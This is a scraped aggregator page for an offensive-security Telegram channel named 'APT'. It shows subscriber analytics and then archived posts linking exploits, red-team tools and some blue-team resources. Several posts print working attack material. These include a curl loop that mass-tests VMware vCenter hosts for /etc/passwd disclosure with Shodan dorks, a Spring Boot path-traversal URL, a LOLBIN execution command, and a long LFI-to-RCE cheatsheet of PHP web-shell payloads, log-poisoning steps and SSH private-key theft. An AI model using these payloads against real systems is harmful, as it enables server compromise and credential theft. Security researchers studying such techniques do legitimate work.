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APT

APT

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This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

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Russia40 535Technologies & Applications7 794

📈 Analytical overview of Telegram channel APT

Channel APT (@apt_notes) in the English language segment is an active participant. Currently, the community unites 16 275 subscribers, ranking 7 794 in the Technologies & Applications category and 40 535 in the Russia region.

📊 Audience metrics and dynamics

Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 16 275 subscribers.

According to the latest data from 01 September, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 547 over the last 30 days and by 18 over the last 24 hours, overall reach remains high.

  • Verification status: Not verified
  • Engagement rate (ER): The average audience engagement rate is 44.29%. Within the first 24 hours after publication, content typically collects 18.04% reactions from the total number of subscribers.
  • Post reach: On average, each post receives 7 204 views. Within the first day, a publication typically gains 2 934 views.
  • Reactions and interaction: The audience actively supports content: the average number of reactions per post is 26.

📝 Description and content policy

The author describes the resource as a platform for expressing subjective opinions:
“This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat”

Thanks to the high frequency of updates (latest data received on 02 September, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.

16 275
Subscribers
+1824 hours
+827 days
+54730 days
Posts Archive
APT
APT
16 271
Exploiting A 16-Year-Old Vulnerability In The Linux 6pack Driver (CVE-2021-42008) CVE-2021-42008 is a Slab-Out-Of-Bounds Write vulnerability in the Linux 6pack driver caused by a missing size validation check in the decode_data function. A malicious input from a process with CAP_NET_ADMIN capability can lead to an overflow in the cooked_buf field of the sixpack structure, resulting in kernel memory corruption. This, if properly exploited, can lead to root access. https://syst3mfailure.io/sixpack-slab-out-of-bounds #linux #6pack #lpe #cve

APT
APT
16 271
OffensiveNim — PowerShell Using Nim to load the CLR and execute PowerShell without the need for PowerShell.exe, now with printing the output as well! https://github.com/Alh4zr3d/OffensiveNim/blob/master/src/execute_powershell_bin.nim #offensive #nim #powershell

APT
APT
16 271
Webapp Wordlists This repository contains wordlists for each versions of common web applications and content management systems (CMS). Each version contains a wordlist of all the files directories for this version. https://github.com/p0dalirius/webapp-wordlists #wordlist #cms #bugbounty

APT
APT
16 271
VMware vCenter (7.0.2.00100) — File Read + SSRF + XSS cat target.txt| while read host do;do curl --insecure --path-as-is -s "
VMware vCenter (7.0.2.00100) — File Read + SSRF + XSS cat target.txt| while read host do;do curl --insecure --path-as-is -s "$host/ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file:///etc/passwd"| grep "root:x" && echo "$host Vulnerable";done Shodan Dorks: http.title:"ID_VC_Welcome" Zoomeye Dorks: app:"VMware vCenter" https://github.com/l0ggg/VMware_vCenter #vmware #vcenter #bugbounty

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16 271
Spring Boot Actuator — Logview Directory Traversal (CVE-2021-21234) http://localhost:8887/manage/log/view?filename=/etc/passw
Spring Boot Actuator — Logview Directory Traversal (CVE-2021-21234) 
http://localhost:8887/manage/log/view?filename=/etc/passwd&base=../../../../../
Details: https://pyn3rd.github.io/2021/10/25/CVE-2021-21234-Spring-Boot-Actuator-Logview-Directory-Traversal/ #spring #actuator #cve #bugbounty

APT
APT
16 271
CHAPS — Configuration Hardening Assessment PowerShell Script CHAPS is a PowerShell script for checking system security settings where additional software and assessment tools, such as Microsoft Policy Analyzer, cannot be installed. The purpose of this script is to run it on a server or workstation to collect configuration information about that system. The information collected can then be used to provide recommendations (and references) to improve the security of the individual system and systemic issues within the organization's Windows environment. https://github.com/cutaway-security/chaps #powershell #hardening #assessment #blueteam

APT
APT
16 271
ManageEngine ADSelfService Plus — Authentication Bypass (CVE-2021-40539) Details: https://www.synacktiv.com/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html Exploit: https://github.com/synacktiv/CVE-2021-40539 #adselfservice #cve #auth #bypass

APT
APT
16 271
How Windows Stops Kerberos Usernames Being Case Sensitive https://vbscrub.com/2021/11/29/how-windows-stops-kerberos-usernames-being-case-sensitive/ #kerberos #pre_auth #aes_salt

APT
APT
16 271
COM Objects P.1: The Hidden Backdoor in Your System A deeper dive into COM objects: how to utilize them in redteam engagements, and how to detect and protect organizations from them if you are on the blueteam side. https://medium.com/maltrak/com-objects-p-1-the-hidden-backdoor-in-your-system-947ac4285e85 #com #backdoor #redteam #blueteam

APT
APT
16 271
DetectionLabELK DetectionLabELK is the perfect lab to use if you would like to build effective detection capabilities. It has
DetectionLabELK DetectionLabELK is the perfect lab to use if you would like to build effective detection capabilities. It has been designed with defenders in mind. Its primary purpose is to allow blueteams to quickly build a Windows domain that comes pre-loaded with security tooling and some best practices when it comes to system logging configurations. It can easily be modified to fit most needs or expanded to include additional hosts. https://github.com/cyberdefenders/DetectionLabELK #blueteam #detection #elk #lab

APT
APT
16 271
Winlogon Password Leaking The flow is: — user enters password — winlogon loads mpnotify.exe — mpnotify opens RPC channel — wi
Winlogon Password Leaking The flow is: — user enters password — winlogon loads mpnotify.exe — mpnotify opens RPC channel — winlogon sends pass via RPC — mpnotify forwards to DLL — DLL stores it on disk https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy #winlogon #password #leak #redteam

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16 271

APT
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16 271
Achieving LFI to RCE 1. Apache Log Poisoning GET /show.php?file=/var/log/apache2/access.log&c=ls HTTP/1.1 User-Agent: <?php system($_GET['c'])?> 2. SSH Log Poisoning ssh '<?php system($_GET['c'])?>'@target.com /show.php?file=/var/log/auth.log&c=ls 3. SMTP Log Poisoning telnet target(.)com 25 MAIL FROM:<test@example.com> RCPT TO:<?php system($_GET['c'])?> /show.php?file=/var/log/mail.log&c=ls 4. Image Upload exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg /show.php?file=../img.jpg&c=ls 5. /proc/self/environ GET /show.php?file=../../proc/self/environ&c=ls HTTP/1.1 User-Agent: <?php system($_GET['c'])?> 6. php://filter Read source code, it may contain sensitive data (username/passwords, private keys etc)->RCE php://filter/convert.base64-encode/resource=index.php php://filter/read=string.rot13/resource=index.php "php://filter" is case insensitive. Try URL/Double encoding 7. Zip upload echo "<?php system($_GET['c'])?>" > shell.php zip shell(.)zip shell.php mv shell(.)zip shell.jpg rm shell.php /show.php?file=zip://shell.jpg%23shell.php 8. data://text/plain /show.php?file=data://text/plain,<?php echo base64_encode(file_get_contents("index.php"))?> /show.php?file=data://text/plain,<?php phpinfo()?> /show.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pO2VjaG8gJ3NoZWxsISc7Pz4= 9. /proc/self/fd/{id} Include shell in headers (User-Agent, Authorisation, Referrer etc) and access /proc/self/fd/{id} 10. expect:// /show.php?page=expect://ls 11. input:// POST /index.php?page=php://input HTTP/1.1 <?php system('ls')?> 12. RCE via vulnerable assert statement Vulnerable Code: assert("strpos('$file', '..') === false") or die("Hacker!"); Payload: ' and die(system("whoami")) or ' 13. Log files /var/log/apache/{access.log or error.log} /var/log/apache2/error.log /usr/local/{apache or apache2}/log/error_log /var/log/nginx/{access.log or error.log} /var/log/httpd/error_log Insert payload via headers (User-Agent, Authorisation, Referrer etc) 14. Via PHP sessions https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/ 15. Via SSH If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa 16. vsftpd Log Poisoning Try to login (ftp) with the PHP payload in the username and access /var/log/vsftpd.log 17. Automation https://github.com/D35m0nd142/LFISuite #lfi #rce #cheatsheet

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16 271
LOLBIN(s): mpiexec.exe & smpd.exe Path: C:\Program Files\Microsoft MPI\Bin mpiexec.exe spawns smpd.exe which then spawns an e
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LOLBIN(s): mpiexec.exe & smpd.exe Path: 
C:\Program Files\Microsoft MPI\Bin
mpiexec.exe spawns smpd.exe which then spawns an executable. Usage: 
mpiexec.exe -n 1 c:\path\to\binary.exe
#lolbin #mpiexec #redteam

APT
APT
16 271
LOLBIN(s): mpiexec.exe & smpd.exe Path: C:\Program Files\Microsoft MPI\Bin mpiexec.exe spawns smpd.exe which then spawns an executable. Usage: mpiexec.exe -n 1 c:\path\to\binary.exe

APT
APT
16 271
CVE-2021-43267 — Linux TIPC (PoC) An article on how to escalate privileges via the slab-buffer-overflow in the Transparent Inter-Process Communication (TIPC) module. Reference: https://haxx.in/posts/pwning-tipc/ PoC: https://github.com/ohnonoyesyes/CVE-2021-43267 #poc #cve #linux #lpe

APT
APT
16 271
EfsPotato MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability https://github.com/zcgonvh/EfsPotato #potato #seImpersonateprivilege #lpe

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APT
16 271

APT
APT
16 271
4-ZERO-3 Tool to bypass 403/401. This script contain all the possible techniques to do the same. https://github.com/Dheerajmadhukar/4-ZERO-3 #forbidden #bypass #bugbounty

APT
APT
16 271
CVE Trends CVE Trends gathers crowdsourced intel about CVEs from Twitter's filtered stream API and combines it with data from
CVE Trends CVE Trends gathers crowdsourced intel about CVEs from Twitter's filtered stream API and combines it with data from NIST's NVD and GitHub APIs. https://cvetrends.com #cve #trends #monitor